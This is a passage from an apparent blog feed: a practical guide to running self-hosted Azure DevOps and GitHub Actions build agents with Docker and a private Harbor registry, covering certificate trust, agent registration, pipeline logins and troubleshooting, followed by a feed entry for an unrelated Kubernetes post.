restart the service. Running newgrp docker in your SSH session changes your shell&#39;s groups, not the systemd unit&#39;s.</p><p>Verify as the agent user, not as yourself:</p><pre>sudo -u ciagent bash -lc &#39;docker version &amp;&amp; docker run --rm hello-world&#39;</pre><p>bash -lc starts a login shell, which reads the user&#39;s profile and sets up PATH the same way a real session would, so you are testing the environment the agent will see rather than a stripped-down one. docker version proves the CLI can reach the daemon over the socket. hello-world proves the daemon can pull from a public registry and run a container, which tells you outbound networking and the runtime are fine before we introduce Harbor into the picture.</p><p>If that passes, layer 1 is done.</p><h3>Layer 2: make the Docker daemon trust Harbor</h3><p>This is the layer that broke my agent, so I want to explain what is actually happening before showing the fix.</p><p>When Docker connects to a registry over HTTPS, the registry presents a certificate. Docker checks that certificate the way a browser does: it follows the chain of issuers from the certificate up to a root it already trusts, and it checks that the name in the certificate matches the name it connected to. A public registry like Docker Hub passes both checks out of the box because its certificate chains to a public CA that ships with every OS. A private Harbor almost never does. It is usually signed by your company’s internal CA, or self-signed, and it is often addressed by an internal hostname or a bare IP. So the chain check fails, and Docker refuses to talk to it.</p><p>curl -k hides all of this because -k means &quot;do not verify&quot;. That is why my connectivity test lied to me. The daemon has no such flag.</p><p>First, look at what Harbor is actually presenting:</p><pre>openssl s_client -connect harbor.example.internal:443 -showcerts &lt;/dev/null 2&gt;/dev/null \<br>  | openssl x509 -noout -subject -issuer -ext subjectAltName</pre><p>s_client opens a TLS connection and prints the handshake. -showcerts prints every certificate in the chain the server sent, not just the first one, which matters when you need the CA. &lt;/dev/null closes standard input so the command exits after the handshake instead of waiting for you to type. 2&gt;/dev/null discards the handshake chatter on stderr so only the certificates remain. The second openssl x509 parses the first certificate from that output; -noout suppresses the base64 blob, and the three flags print the fields we care about.</p><p>Three things to read from that output:</p><ol><li>The issuer. If the issuer is your internal CA, then the CA’s certificate is what you need to trust, because trusting it makes Docker accept anything the CA signs, including the renewed Harbor certificate next year. If the issuer is identical to the subject, the certificate is self-signed and the leaf certificate itself is the one you trust.</li><li>The Subject Alternative Names. Modern TLS ignores the Common Name and matches the host against the SAN list only. If you reference Harbor as 10.0.0.50 in image names, the SAN must contain IP:10.0.0.50. A certificate with only DNS:harbor.example.internal will fail for the IP even after you trust the CA, with a different error that people mistake for the first one.</li><li>The port. If Harbor is not on 443, the trust directory name below must include the port, and so must every image reference.</li></ol><p>Docker has its own per-registry trust directory at /etc/docker/certs.d/. Each subdirectory is named after a registry host, and any .crt file inside it is added to the trusted roots for that registry only:</p><pre>sudo mkdir -p /etc/docker/certs.d/harbor.example.internal<br>sudo cp harbor-ca.crt /etc/docker/certs.d/harbor.example.internal/ca.crt<br>sudo systemctl restart docker</pre><p>The directory name must match the registry host exactly as it appears in your image references, because that string is how the daemon looks the directory up. harbor.example.internal, harbor.example.internal:8443, and 10.0.0.50 are three different directories, and an image tagged with one of them will not find a certificate placed under another. The same directory can also hold client.cert and client.key if your registry requires mutual TLS, which is rare for Harbor but worth knowing exists.</p><p>On Linux the daemon also reads the OS trust store, so adding the CA there and restarting Docker works too. I do both, because curl, helm, az, and anything else that talks to Harbor from a pipeline step uses the OS store and not Docker&#39;s directory:</p><pre>sudo cp harbor-ca.crt /usr/local/share/ca-certificates/harbor-ca.crt<br>sudo update-ca-certificates</pre><p>update-ca-certificates rebuilds /etc/ssl/certs/ca-certificates.crt from everything in /usr/local/share/ca-certificates/ plus the distribution&#39;s bundle. The file must have a .crt extension or it is ignored silently.</p><p>There is a shortcut, and I want to name it so you know what you are choosing if you take it:</p><pre>{<br>  &quot;insecure-registries&quot;: [&quot;harbor.example.internal&quot;]<br>}</pre><p>Put that in /etc/docker/daemon.json and restart Docker. From then on the daemon tries HTTPS to that host without verifying the certificate, and if HTTPS fails entirely it falls back to plain HTTP. It works. It also means anyone who can sit between the agent and Harbor can hand you a different image, and you will build and deploy it. For a throwaway lab, fine. For the agent that builds what you ship, fix the certificate. It is ten minutes.</p><p>Verify with a real login and pull as the agent user:</p><pre>sudo -u ciagent docker login harbor.example.internal<br>sudo -u ciagent docker pull harbor.example.internal/library/alpine:3.20</pre><p>docker login sends your credentials to the registry&#39;s token endpoint and, if accepted, stores them in ~/.docker/config.json as base64. Base64 is encoding, not encryption; treat that file as a secret. The pull is the real test, because it exercises the full path: TLS handshake, certificate validation, token exchange, and the manifest and blob downloads.</p><p>The two errors to know here. x509: certificate signed by unknown authority means the chain check failed: the certificate is in the wrong directory, is the wrong certificate, or Docker was not restarted after you added it. x509: cannot validate certificate for 10.0.0.50 because it doesn&#39;t contain any IP SANs means the chain check passed and the name check failed: the certificate is trusted but was not issued for the name you used. The first is fixed on the agent. The second is fixed on Harbor by reissuing the certificate, or by using the hostname the certificate was issued for.</p><h3>Layer 3: the Azure DevOps agent</h3><p>The agent is a small .NET application that opens a long-lived HTTPS connection to Azure DevOps, waits for a job, downloads the job definition and the task binaries it needs, runs them as a separate worker process, and streams the logs back. Registering it means telling the service which organisation, pool, and name it should appear under.</p><p>Registration needs a Personal Access Token with the Agent Pools (Read &amp; manage) scope. One thing I got wrong for a long time: the PAT is only used during config.sh. The agent exchanges it for a private RSA key pair, stores that in .credentials and .credentials_rsaparams in the agent directory, and uses the key from then on. The PAT expiring later does not take the agent offline. What does take it offline is the user who registered it being removed from the organisation, the agent being deleted from the pool in the UI, or those credential files being lost.</p><pre>sudo -u ciagent bash -lc &#39;<br>cd /opt/agents<br>mkdir ado &amp;&amp; cd ado<br>curl -fsSL -o agent.tar.gz https://download.agent.dev.azure.com/agent/4.255.0/vsts-agent-linux-x64-4.255.0.tar.gz<br>tar zxf agent.tar.gz<br>./config.sh --unattended \<br>  --url https://dev.azure.com/yourorg \<br>  --auth pat --token &quot;$ADO_PAT&quot; \<br>  --pool Default \<br>  --agent build-agent-01 \<br>  --work _work \<br>  --acceptTeeEula<br>&#39;</pre><p>The whole block runs as ciagent so that every file it creates is owned by the agent user. Check the current agent version in your organisation&#39;s agent pool page before copying the download URL; the agent will self-update anyway, but starting from a recent build avoids an update cycle on first boot.</p><p>The flags. --unattended makes config.sh fail instead of prompting when something is missing, which is what you want in a script. --url is your organisation, not a project. --auth pat --token is the registration credential discussed above. --pool is the agent pool the agent joins; Default exists in every organisation, and I recommend creating a named pool per purpose instead, so a pipeline that says pool: linux-docker cannot accidentally land on a Windows box. --agent is the display name in the pool and it must be unique within the pool; if it already exists, add --replace to take it over. --work _work is the directory where checkouts and build outputs go, relative to the agent directory. --acceptTeeEula accepts the licence for the TFVC client that ships with the agent; without it, --unattended fails even if you never use TFVC.</p><p>config.sh writes a .agent file with the pool and name, the credential files mentioned above, and a .path file recording the PATH at configuration time. Then it exits. Nothing is running yet.</p><p>Install and start it as a service. This is the one step that does need root, because it writes a systemd unit:</p><pre>cd /opt/agents/ado<br>sudo ./svc.sh install ciagent<br>sudo ./svc.sh start<br>sudo ./svc.sh status</pre><p>svc.sh install generates a unit file at /etc/systemd/system/vsts.agent.&lt;org&gt;.&lt;pool&gt;.&lt;agent&gt;.service and enables it. The unit does not run the agent directly. It runs runsvc.sh, a small wrapper in the agent directory that loads environment variables from a .env file if present, then starts the listener and restarts it automatically when it exits for a self-update. If you see \x2d in the unit name in status output, that is systemd escaping the hyphens in your agent name; it is cosmetic.</p><p>The username argument to svc.sh install is what sets User=ciagent in the unit. Without it the unit runs as whoever invoked config.sh, and if that was root you will find _work owned by root and every job failing on file permissions from the first checkout onwards.</p><p>Two things I check right after install. First, the capabilities the agent advertised: Project Settings, Agent pools, your pool, the agent, Capabilities tab. When the listener starts, it scans the PATH of the user it runs as for known tools (docker, node, dotnet, java, git, and so on) and reports them as system capabilities, along with every environment variable it can see. Pipelines can then specify demands, and the scheduler only assigns a job to an agent whose capabilities satisfy every demand. If docker is not in that list, the agent could not find it when it started, and any pipeline with demands: docker will queue forever with &quot;no agent found&quot;. You can also add user capabilities by hand in the same tab, which is how I tag an agent with harbor: true so pipelines can demand it.</p><p>Second, the logs in _diag/:</p><pre>ls -lt /opt/agents/ado/_diag | head<br>tail -50 /opt/agents/ado/_diag/Agent_*.log</pre><p>Agent_*.log is the listener: connection, session, job assignment, self-update. Worker_*.log is written by the separate worker process the listener spawns for each job, and it contains everything that happened while the job ran. It only appears once a job has actually reached the machine, so its absence tells you the problem is in scheduling, not execution.</p><h3>Layer 4: the GitHub Actions runner</h3><p>The GitHub runner is structurally the same thing: a long-polling process, a per-job worker, a work directory, a systemd wrapper. I put it on the same machine under the same user, in a sibling directory.</p><p>The registration credential is different. Instead of a PAT, GitHub issues a registration token from Settings, Actions, Runners, New self-hosted runner. It is valid for one hour and is used only during config.sh, after which the runner authenticates with its own key pair, exactly as the Azure agent does. The short lifetime is a feature: nothing long-lived is stored on the box, and a token that leaks in a chat message is useless by lunchtime.</p><pre>sudo -u ciagent bash -lc &#39;<br>cd /opt/agents<br>mkdir gh &amp;&amp; cd gh<br>curl -fsSL -o runner.tar.gz https://github.com/actions/runner/releases/download/v2.319.1/actions-runner-linux-x64-2.319.1.tar.gz<br>tar zxf runner.tar.gz<br>./config.sh --unattended \<br>  --url https://github.com/yourorg \<br>  --token &quot;$GH_RUNNER_TOKEN&quot; \<br>  --name build-agent-01 \<br>  --labels self-hosted,linux,x64,docker,harbor \<br>  --work _work<br>&#39;<br>cd /opt/agents/gh<br>sudo ./svc.sh install ciagent<br>sudo ./svc.sh start</pre><p>--url decides the scope. An organisation URL registers the runner at the organisation level; a repository URL ties it to one repository. Register at the organisation level, then use runner groups to control which repositories can see it. Per-repository runners multiply fast and each one is a separate machine to patch. --labels replaces the concept of capabilities and demands. self-hosted, linux, and x64 are added automatically, and anything you add after them is how workflows select this runner. svc.sh here creates actions.runner.&lt;org&gt;.&lt;name&gt;.service and behaves the same as its Azure counterpart.</p><p>Labels matter more than they look. runs-on: [self-hosted, linux, docker] in a workflow matches only runners that carry all three labels, and a job with no matching runner waits silently. I add a harbor label to runners that have the Harbor trust from layer 2 configured, so a workflow that pulls private images cannot land on a runner that does not.</p><h3>Layer 5: logging in to Harbor from a pipeline</h3><p>Here is the part that confused me the first time. I had run docker login on the box as the agent user and it worked. The pipeline still got unauthorized.</p><p>Docker decides where to read credentials from using the DOCKER_CONFIG environment variable. When it is unset, it uses ~/.docker/. Both the Azure DevOps Docker task and GitHub&#39;s docker/login-action set DOCKER_CONFIG to a temporary directory created for the job, write the login there, and delete the directory when the job ends. Every docker command in the job inherits that variable, so it uses the job&#39;s credentials and never looks at ~/.docker/config.json. This is deliberate: two pipelines on the same agent must not see each other&#39;s registry logins, and a credential must not survive on disk after the job that needed it. The consequence is that the login has to be declared in the pipeline.</p><p>On the Harbor side, create a robot account inside the project, not a human account. Robot accounts are scoped to a project, can be limited to pull only or pull and push, have their own expiry, and can be revoked without affecting anyone’s login. The account name Harbor generates is robot$projectname+robotname, with a literal dollar sign, and the secret is shown once at creation.</p><p>For Azure DevOps, the credential lives in a service connection. Project Settings, Service connections, New, Docker Registry, and choose the “Others” registry type, because the ACR and Docker Hub types assume their own authentication flows. Enter https://harbor.example.internal as the registry URL and the robot name and secret. Name the connection something like harbor-robot. Then:</p><pre>pool:<br>  name: Default<br>  demands:<br>    - docker</pre><pre>steps:<br>  - task: Docker@2<br>    displayName: Login to Harbor<br>    inputs:<br>      command: login<br>      containerRegistry: harbor-robot</pre><pre>  - task: Docker@2<br>    displayName: Build and push<br>    inputs:<br>      command: buildAndPush<br>      containerRegistry: harbor-robot<br>      repository: platform/api<br>      dockerfile: src/Dockerfile<br>      tags: |<br>        $(Build.BuildId)<br>        latest</pre><p>demands: docker makes the scheduler pick an agent that reported the docker capability. The first Docker@2 step runs docker login against the registry in the service connection, into the job&#39;s DOCKER_CONFIG. The second runs docker build and docker push in one go, and it builds the full image name for you: the registry host from the service connection, the repository value, and one tag per line under tags. $(Build.BuildId) is a predefined variable holding the numeric run id, which gives every build a unique, sortable tag alongside latest. If you ever need docker commands the task does not wrap, run them in a script step after the login step; they inherit the same DOCKER_CONFIG.</p><p>For GitHub Actions, the credential lives in secrets. Store the robot name and secret as organisation or repository secrets, then:</p><pre>jobs:<br>  build:<br>    runs-on: [self-hosted, linux, docker, harbor]<br>    steps:<br>      - uses: actions/checkout@v4</pre><pre>      - uses: docker/login-action@v3<br>        with:<br>          registry: harbor.example.internal<br>          username: ${{ secrets.HARBOR_ROBOT_USER }}<br>          password: ${{ secrets.HARBOR_ROBOT_TOKEN }}</pre><pre>      - uses: docker/build-push-action@v6<br>        with:<br>          context: .<br>          file: src/Dockerfile<br>          push: true<br>          tags: |<br>            harbor.example.internal/platform/api:${{ github.sha }}<br>            harbor.example.internal/platform/api:latest</pre><p>runs-on lists every label the runner must have. login-action does the same thing as the Azure login step. build-push-action uses buildx to build and, with push: true, pushes every tag listed; unlike the Azure task it does not know the registry host, so the full name goes in each tag. github.sha is the commit being built, which I prefer to a run number as a tag because it links the image straight back to the source.</p><p>Two Harbor details that bite. The $ in the robot account name will be eaten by YAML interpolation or by bash if you type it inline anywhere, so always pass the name through a secret or a variable, never as a literal in the file. And robot accounts have an expiry, set when you create them. When it lapses, the pipeline error is the same generic unauthorized you get for a wrong password, with nothing pointing at expiry. Set the expiry deliberately and put the date somewhere you will see it.</p><h3>Layer 6: the check I run before I trust a new agent</h3><p>After going through all of this, I wrote a small script that runs as the agent user and exercises every layer in order. I run it once after setup and again whenever a build fails in a way that looks environmental.</p><pre>#!/usr/bin/env bash<br>set -u<br>REG=&quot;harbor.example.internal&quot;<br>IMG=&quot;$REG/library/alpine:3.20&quot;</pre><pre>echo &quot;== user and groups&quot;; id<br>echo &quot;== docker socket&quot;; docker version --format &#39;{{.Server.Version}}&#39; || exit 1<br>echo &quot;== registry cert&quot;<br>openssl s_client -connect &quot;$REG:443&quot; &lt;/dev/null 2&gt;/dev/null \<br>  | openssl x509 -noout -subject -issuer -enddate<br>echo &quot;== daemon trust dir&quot;; ls -la /etc/docker/certs.d/&quot;$REG&quot; 2&gt;/dev/null || echo &quot;MISSING&quot;<br>echo &quot;== anonymous /v2/&quot;<br>curl -sS -o /dev/null -w &#39;%{http_code}\n&#39; &quot;https://$REG/v2/&quot;<br>echo &quot;== pull&quot;; docker pull &quot;$IMG&quot; &gt;/dev/null &amp;&amp; echo OK<br>echo &quot;== disk&quot;; df -h /opt/agents | tail -1</pre><p>Line by line: set -u makes the script fail on an unset variable instead of silently expanding it to nothing. id shows the user and, critically, whether docker is among the groups. docker version --format asks for just the server version, which fails if the socket is unreachable, and || exit 1 stops the script there because nothing after it can work. The openssl line shows who issued the certificate and when it expires, which catches the renewal nobody remembered. The ls on the trust directory confirms the CA is where the daemon looks for it. The curl line prints only the HTTP status code of an unauthenticated request to the registry API. A 401 here is the good outcome: it means TLS validated and Harbor answered. A curl TLS error at that step, with no -k to hide it, is exactly the failure that cost me an afternoon. The pull is the end-to-end proof, and the disk line is there because it is the cheapest check that prevents the most annoying outage.</p><h3>The failures I keep seeing, and where to look for each</h3><p>Every one of these has happened to me or to someone on a team I worked with. I have grouped them by the symptom you actually see, because that is what you have in front of you at two in the morning.</p><p><strong>The agent shows offline in the pool, but </strong><strong>svc.sh status says running.</strong> The process is up but cannot hold a session with the service. Look at the tail of _diag/Agent_*.log for 401, TF400813, Failed to create session, or repeated connection retries. A 401 after the agent had been working means its credentials were invalidated on the server side: the agent was deleted from the pool, or the user who registered it was removed. A connection error means the machine lost its route to dev.azure.com; confirm with curl -sI https://dev.azure.com/yourorg | head -1 as the agent user. In the first case, ./config.sh remove and re-register with a fresh PAT. In the second, it is network or proxy, see below.</p><p><strong>The job sits at “Waiting for an agent” forever.</strong> Nothing reached the machine, so there is no worker log to read. Either the pipeline names a different pool, or it has demands the agent does not advertise, or the GitHub runs-on labels do not all match. Open the agent&#39;s Capabilities tab and compare against the demands block line by line. For GitHub, check the runner&#39;s labels in the organisation settings against the workflow. A missing docker capability usually means Docker was installed after the agent service started; capabilities are scanned at listener start, so restart the service.</p><p><strong>“permission denied while trying to connect to the Docker daemon socket”.</strong> The agent user is not in the docker group, or it was added after the service started. sudo -u ciagent id shows the groups the user has now; sudo cat /proc/$(pgrep -f Agent.Listener)/status | grep Groups shows the numeric group ids the running listener process actually has, which is what matters. If the docker group id is in the first and not the second, restart the service.</p><p><strong>“x509: certificate signed by unknown authority”.</strong> The daemon does not trust the registry certificate. Check /etc/docker/certs.d/&lt;host&gt;/ca.crt exists with the exact host string used in the image name, including port if any. Then confirm it is the right certificate:</p><pre>openssl verify -CAfile /etc/docker/certs.d/&lt;host&gt;/ca.crt \<br>  &lt;(openssl s_client -connect &lt;host&gt;:443 &lt;/dev/null 2&gt;/dev/null | openssl x509)</pre><p>openssl verify checks that the certificate in the second argument chains to the CA in -CAfile. The &lt;( ... ) is bash process substitution: it runs the inner command and hands its output to verify as if it were a file, so you can test the live certificate without saving it first. If this prints OK, the file is right and you forgot to restart Docker. If it fails, you have the wrong CA. And a curl -k that succeeds proves nothing here; drop the -k and read the TLS lines.</p><p><strong>“x509: cannot validate certificate for 10.0.0.50 because it doesn’t contain any IP SANs”.</strong> The certificate is trusted but was issued for a hostname only. Either reference Harbor by that hostname everywhere and make it resolve on the agent (DNS, or a line in /etc/hosts), or reissue the certificate with an IP SAN. Marking the registry insecure hides this, which is why I do not.</p><p><strong>“unauthorized: unauthorized to access repository” during pull or push.</strong> TLS is fine; the credentials were rejected. Three usual causes, in the order I check them. The robot account has expired, visible in Harbor under the project’s Robot Accounts. The robot has pull but not push permission on that project. Or the login happened on the box instead of in the pipeline, so the job’s isolated DOCKER_CONFIG never had credentials. In the job log, the login step should print Login Succeeded immediately before the pull; if that line is absent, that is the answer.</p><p><strong>Login works, push works, but the image is not where you expect.</strong> Harbor requires the project to exist before the first push; unlike some registries it will not create it for you, and the error it returns is a generic denied. Also check the tag string. harbor.example.internal/api:latest pushes to the library project, which is Harbor&#39;s default for a single-segment path, not to the project you meant.</p><p><strong>“no space left on device” or builds that suddenly get slow.</strong> Docker layers and build cache on a busy agent grow by gigabytes a day. docker system df shows where it went, split into images, containers, volumes, and build cache. I prune weekly from the agent user&#39;s crontab (sudo -u ciagent crontab -e):</p><pre># Sunday 03:00, drop images, containers and build cache unused for 7 days<br>0 3 * * 0 /usr/bin/docker system prune -af --filter &quot;until=168h&quot; &gt;&gt; /opt/agents/prune.log 2&gt;&amp;1<br>0 3 * * 0 /usr/bin/docker builder prune -af --filter &quot;until=168h&quot; &gt;&gt; /opt/agents/prune.log 2&gt;&amp;1</pre><p>Pick a time when no pipeline runs, because prune will remove a base image a job is about to reuse and the next build starts cold. Use the full /usr/bin/docker path; cron runs with a much shorter PATH than your shell.</p><p>The --filter &quot;until=168h&quot; is what makes this safe to automate. Without it, prune -a deletes every image not currently used by a running container, which on a build agent is nearly all of them, and Monday&#39;s first build re-downloads everything. With it, Docker only removes images, containers, and cache entries created more than 168 hours (seven days) ago, so anything a pipeline touched this week survives. The value is a Go duration, so 72h or 336h work the same way; there is no day unit. The -a still matters: without it, prune only removes dangling layers and leaves tagged images alone regardless of age. -f skips the confirmation prompt, which would otherwise hang under cron. The builder prune line handles BuildKit&#39;s separate cache, which system prune does not fully cover.</p><p>Also check _work in each agent directory. Failed jobs can leave large checkouts behind. Both agents have a &quot;clean&quot; option on the checkout step that wipes the workspace before each run, and I turn it on; the cost is a full clone every time, which on a fast internal network is cheaper than a full disk at midnight.</p><p><strong>The job starts and dies immediately with a file permission error.</strong> _work or something under it is owned by root because config.sh or a test job was once run with sudo. sudo chown -R ciagent:ciagent /opt/agents/*/_work and restart the service.</p><p><strong>Everything works from SSH but fails inside the job.</strong> The service unit has a much smaller environment than your login shell. No ~/.bashrc, no ~/.profile, a shorter PATH, no proxy variables, no HOME in some configurations. Anything the job needs goes into /opt/agents/ado/.env for the Azure agent or /opt/agents/gh/.env for the GitHub runner, one KEY=value per line, no export, then restart the service. runsvc.sh reads that file at start and exports every line into the listener&#39;s environment, and the worker inherits it.</p><p>That covers the agent process. The Docker daemon is a separate service with its own environment, so proxy settings for pulls go in a systemd drop-in, not in .env:</p><pre>sudo mkdir -p /etc/systemd/system/docker.service.d<br>sudo tee /etc/systemd/system/docker.service.d/proxy.conf &gt;/dev/null &lt;&lt;&#39;EOF&#39;<br>[Service]<br>Environment=&quot;HTTPS_PROXY=http://proxy.example.internal:3128&quot;<br>Environment=&quot;NO_PROXY=localhost,127.0.0.1,harbor.example.internal,10.0.0.0/8&quot;<br>EOF<br>sudo systemctl daemon-reload &amp;&amp; sudo systemctl restart docker</pre><p>A drop-in is a fragment that systemd merges into the main unit without you editing the file the package manager owns, so it survives upgrades. daemon-reload makes systemd re-read unit files; without it the restart uses the old definition. Forgetting Harbor in NO_PROXY is a classic: the pull goes out through the proxy, which has no route to the internal registry, and the error looks like the registry is down.</p><p><strong>The agent restarts on its own in the middle of a job.</strong> Check journalctl -u &#39;vsts.agent.*&#39; --since &#39;1 hour ago&#39;. If you see &quot;Agent will exit shortly for update&quot;, the pool has a newer agent version and the self-update kicked in. The listener exits with code 3, which runsvc.sh treats as &quot;update, restart me&quot;, and it comes back within seconds. It is designed to wait for the current job to finish, but a job that mounts the agent&#39;s own Docker socket into a container can confuse the update. If updates arriving at bad times is a real problem, control the version from the pool settings rather than disabling updates on the box.</p><p>When none of these match, the sequence is always the same: _diag/Worker_*.log for the most recent job on the machine, then the same command the job ran, executed by hand as the agent user with sudo -u ciagent bash -lc &#39;...&#39;. If it passes by hand and fails in the job, it is the environment, and the .env file is where to look. If it fails by hand too, it is the machine, and one of the layers above is the reason.</p><h3>What I would tell myself before the first one</h3><p>Set up and verify the machine as the agent user before you install any agent. Every problem I have had with self-hosted agents lived in the layers below the agent, and the agent’s own status output cannot see them.</p><p>Trust the registry certificate properly rather than marking it insecure. It takes ten more minutes and it is the difference between a build server and a hole.</p><p>Do the registry login in the pipeline, never on the box. The box login will pass your manual test and fail the real job, and now you know why.</p><p>And when something breaks, read the worker log, not the agent log. The agent will happily tell you it is listening for jobs while the jobs it received are dying two directories away.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f80681a1bf3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Kubernetes objects you actually need to understand]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://medium.com/@kmoussa/the-kubernetes-objects-you-actually-need-to-understand-38c5a84920d1?source=rss-5266ae0c4640------2"><img src="https://cdn-images-1.medium.com/max/600/1*re02f0jtcaqcM3ahhh3lvg.png" width="600"></a></p><p class="medium-feed-snippet">I get asked to explain Kubernetes a lot, usually by someone who has been handed a cluster and a folder of YAML and told to keep it running&#x2026;</p><p class="medium-feed-link"><a href="https://medium.com/@kmoussa/the-kubernetes-objects-you-actually-need-to-understand-38c5a84920d1?source=rss-5266ae0c4640------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://medium.com/@kmoussa/the-kubernetes-objects-you-actually-need-to-understand-38c5a84920d1?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/38c5a84920d1</guid>
            <category><![CDATA[kubernetes-yaml-file]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[kubernetes-object]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 20:18:47 GMT</pubDate>
            <atom:updated>2026-09-15T20:18:47.194Z</atom:updated>
        </item>
    </channel>
</rss>